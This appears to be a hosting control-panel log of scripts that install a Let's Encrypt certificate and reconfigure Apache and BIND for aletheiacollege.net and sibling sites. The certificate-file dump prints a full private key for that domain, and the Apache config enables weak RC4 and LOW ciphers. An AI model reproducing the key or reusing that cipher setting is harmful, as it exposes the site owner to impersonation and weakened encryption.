Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-04 06:00:34: 

chmod 755 /tmp/pkp312158; /tmp/pkp312158; rm /tmp/pkp312158

2026-05-04 06:00:34: 


dir=/etc/ssl/certs


2026-05-04 06:00:34: 

PUT: /tmp/pkp214713

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/aletheiacollege_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-04 06:00:34: 

chmod 755 /tmp/pkp214713; /tmp/pkp214713; rm /tmp/pkp214713

2026-05-04 06:00:34: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/aletheiacollege_www_net.conf 47

<VirtualHost *:80>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_error.log
    SetEnv pkp_uid	62
    SetEnv pkp_owner	aletheia
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_secure_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-04 06:00:34: 

PUT: /tmp/pkp943308

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=aletheiacollege_www_net.conf
TARGET=/etc/apache2/sites-enabled/aletheiacollege_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_error.log
    SetEnv pkp_uid	62
    SetEnv pkp_owner	aletheia
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_secure_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/aletheiacollege_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/aletheiacollege_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/aletheiacollege_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/aletheiacollege_www_net.conf= 1'
fi


2026-05-04 06:00:34: 

chmod 755 /tmp/pkp943308; /tmp/pkp943308; rm /tmp/pkp943308

2026-05-04 06:00:34: 




2026-05-04 06:00:34: 

PUT: /tmp/pkp232594

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-04 06:00:34: 

chmod 755 /tmp/pkp232594; /tmp/pkp232594; rm /tmp/pkp232594

2026-05-04 06:00:34: 


.


2026-05-04 06:00:34: Establishing a connection
2026-05-04 06:00:34: 

PUT: /tmp/pkp591689

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-04 06:00:34: 

chmod 755 /tmp/pkp591689; /tmp/pkp591689; rm /tmp/pkp591689

2026-05-04 06:00:34: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-05-04 06:00:34: 

PUT: /tmp/pkp471360

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/aletheiacollege_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-04 06:00:34: 

chmod 755 /tmp/pkp471360; /tmp/pkp471360; rm /tmp/pkp471360

2026-05-04 06:00:34: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/aletheiacollege_www_net.conf	1448

<VirtualHost *:80>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_error.log
    SetEnv pkp_uid	62
    SetEnv pkp_owner	aletheia
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	aletheiacollege.net
    ServerAlias	www.aletheiacollege.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt
    DocumentRoot	/var/www/aletheiacollege_www
    <Directory /var/www/aletheiacollege_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/aletheiacollege/www_secure_access.log combined
    ErrorLog	/var/log/apache2/aletheiacollege/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-04 06:00:34: 

PUT: /tmp/pkp692602

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-04 06:00:34: 

chmod 755 /tmp/pkp692602; /tmp/pkp692602; rm /tmp/pkp692602

2026-05-04 06:00:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/5eb375246e856b10900412efba9b1585.crt	5393
e2:66:7b:71:6e:a1:b0:eb:62:56:c7:c9:d9:29:11:70

-----BEGIN CERTIFICATE-----
MIIFGzCCBAOgAwIBAgISBf34hg4P5/83qmROqtnA7JllMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTA0MDUwMjAyWhcNMjYwODAyMDUwMjAxWjAeMRwwGgYDVQQD
ExNhbGV0aGVpYWNvbGxlZ2UubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAre1KAxiwSc/jxzAlroefpl+GRlME7428sMfU43kolQD6e20EDjEnKpUF
XPNfZGzHz91PZ5I8f4DSM01LE4XvpjRUDfRwnIN0pE+2cvgVn+dOcD5DEs/Pe+QU
Q0B8uuSkk5a+Qze7TGJFVIaBathnxo22vf588HTx7xXsKYfwj0XIkTLwdGJzW/1b
sboYwHKa2MHhT7gt061vtRygKp6qnxFkA3cZWbAZOl1cIV5epN27tcvca0DxDTUJ
zi9UzaPbKaA+Jfbb0JcI7aJQ5WaNpFTO2BTPmqDk8e2ArQEew8657Bofp5oMGMbY
nAlGVPhMjkkekRUtU2NtO55L8Iw9CQIDAQABo4ICPDCCAjgwDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FN2a0nTo2K5vHiydvpvMqMtc4qBjMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiy
hA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5p
LmxlbmNyLm9yZy8wNwYDVR0RBDAwLoITYWxldGhlaWFjb2xsZWdlLm5ldIIXd3d3
LmFsZXRoZWlhY29sbGVnZS5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0f
BCgwJjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDIuY3JsMIIBDQYK
KwYBBAHWeQIEAgSB/gSB+wD5AHcAr2eIO1ewTt2Pptl+9i6o64EKx3Fg8CReVdYM
L+eFhzoAAAGd8ZLzTwAABAMASDBGAiEAtj03PqW54CBJysY9A5b5r0epFsqzXV91
ma9xQG3jynICIQCIzw/hHM/JnAXO8UrrTnoLCqrmVqzrfmvddr2NgUe2AgB+AGz+
UBlDqF6pFrxS0TPk3Mke8UEcfSWEINFzgJ4YGOs6AAABnfGS9H8ACAAABQAJ8Rwo
BAMARzBFAiEAywzpDDA7JexAm4Xd0hZpKvs5wl6FKiQZcemITEti2LgCIBfw7w/M
fPNQPc3/0eM0s0vqyhwdx7XjyKC8Sp+BupyhMA0GCSqGSIb3DQEBCwUAA4IBAQBm
G2TWvfYiN3teQRlKBPa8LmgLOakdK1b+iTPiJ7rAhbRIr0QGJouLsbRbs7zES6rs
kSSG2Sqf8Q1d/fmdp4GDqGj53z1xAPsoDCT+J/n9eojuVWcCMI85gUrw0PaMpfqX
7GckG7vPlGYEaikq1pAAOnf/fd5UxjyMrhfKYu/5C/g9oI5M3QYu9bW/EVdecZwW
7T2E9soZvljB3fhIkYxbW0AETGYVRESgqdbdcjKco2bDIPJkdyCSxICG3E6YZfBT
Z88LUEXI6E4Eu4gPVFuWnkn4m3+WIfxhvFV61ki8ltW/WhOJ4OP5UHJ7TqPjeAHH
i8+RnP+IBHPEv7E4Ot8i
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCt7UoDGLBJz+PH
MCWuh5+mX4ZGUwTvjbywx9TjeSiVAPp7bQQOMScqlQVc819kbMfP3U9nkjx/gNIz
TUsThe+mNFQN9HCcg3SkT7Zy+BWf505wPkMSz8975BRDQHy65KSTlr5DN7tMYkVU
hoFq2GfGjba9/nzwdPHvFewph/CPRciRMvB0YnNb/VuxuhjAcprYweFPuC3TrW+1
HKAqnqqfEWQDdxlZsBk6XVwhXl6k3bu1y9xrQPENNQnOL1TNo9spoD4l9tvQlwjt
olDlZo2kVM7YFM+aoOTx7YCtAR7DzrnsGh+nmgwYxticCUZU+EyOSR6RFS1TY207
nkvwjD0JAgMBAAECgf94rUvNGjQ3AqdobV+32SJMrbrc0H18OTvS7NQpgMdHm4Yw
XVOTBUfHo940wChP5ao977BIjI6taRRvxBFzWlsNVwF7LT91WUB1QVm2K6vVZwhl
mM2xH782lun4P6ZLhpkqTk11FhY+yXCRVUI2gDCA85L4ALtvm7TBztQtfMTMotaY
jtxP6tqCSY9KZQ6dF/xk/Mw647AZVVtDKKFcMRgMh5R86W/PEjsLzj6fzITNg3Q0
7iU30jTxOtepnh6baEGS0Lj0Gr3sDAWWMjLylWbt7pmSduChJByikIfRX9eTR0k1
Ikciz5s9vdofSlSC8SxVHhsGHkkiPjZfHxFqyUECgYEA9M/Whf8stAOYOw43PA3f
HrnDuXJP8yMjycOM64GvH1XTVhCagDcyF3q9GuJv08lTL2XClrbi3fuIrL0yPaHW
CgsULZWm7OL9L80Y0JgsfyWBwXYUdCX+2plo0acpjVYPgQYvNVvbCRMo6eSBqk3d
kIHreqmdIDPRkpeWdyZUqEECgYEAteAjAlXSmoUM7s27pnV3atfetjvmGHoZp/eq
Kbu/gkqvi9oDFGcepeFxWxvrRhJxIvcGyHafZhnfHfywTFps6RuPyB1DOJK/OJi/
IsY+ardFlqeg8qaCWH7RMOdaT2JnU5TIhtJfuIr4an/WOcTGhCo2dK4Jh85HT8Gi
q9bboskCgYEA8tjVcjjuLGhAc5yneCA+i+k02domqwbZsoUUXm5XvNrTeNWhnbyj
KR1tR6UFz24v4Z2tSPqE1DV3n/tSQkcu3umci5efbe/BvtBSZGIACeS38aRjp9Al
Hs39Z7POCVEssg3jeKf1AOyLsnElmz4Aox/t6tEkd9RPeX58GRfh9MECgYB0T0U0
Phwz0viFUy448pAO1MRJeB7a8mKr5xd8HuQG96ox3pbvmk6gOH8ci8s3AZ42hRFi
a3HegpcL/0fjXESgAo89o3EUocwF7rD1FSBfcJrhEIw+ATwESf2Pr7QyZjS7378p
cSnjw4O/38bpJKzrYm92yMGxhrpWB/f2uq20+QKBgQDUichrnHdYcdenDCBtKp34
jX/82EgQ53Li33wuHiYQjy6w/SP3EqyHEtDUBZiApUimc+ZibwFOoZVg5+dOIqvb
15cex26R8EyYFSFhMhuPjdvx8UvytwW1Socw48yNMjDUKOHiksb+d7EgWyP2sAq7
lC5Ftfd/B2dYyQTNZauTeg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-04 06:00:35: Establishing a remote connection
2026-05-05 09:16:29: Establishing a connection
2026-05-05 09:16:36: Establishing a connection
2026-05-05 09:16:36: 

PUT: /tmp/pkp760421

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-05 09:16:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp760421; rm /tmp/pkp760421'

2026-05-05 09:16:37: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
